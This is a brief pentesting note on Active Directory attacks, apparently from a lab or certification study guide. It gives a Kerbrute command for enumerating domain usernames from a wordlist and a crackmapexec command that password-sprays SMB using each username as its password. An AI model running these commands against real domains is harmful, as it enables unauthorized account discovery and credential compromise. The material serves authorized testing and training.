# Kerbrute ## Overview Bruteforcing domain usernames is possible with **Kerbrute.** This is valuable from an information gathering perspective and can lead to some quick wins. After finding some usernames you can password spray those accounts using their usernames as passwords. This is very common in the real world. {% embed url="" %} ## Kerbrute Attack #### Enumerate for users ```bash kerbrute userenum -d PNPT.LOCAL users.txt --dc DC.PNPT.LOCAL ``` {% hint style="info" %} /usr/share/wordlists/seclists/Usernames/xato-net-10-million-usernames.txt {% endhint %}

#### Password spray using --no-brute to avoid account lockout ```bash crackmapexec smb 192.168.1.129 -u users.txt -p users.txt --no-brute -d manager.htb ```

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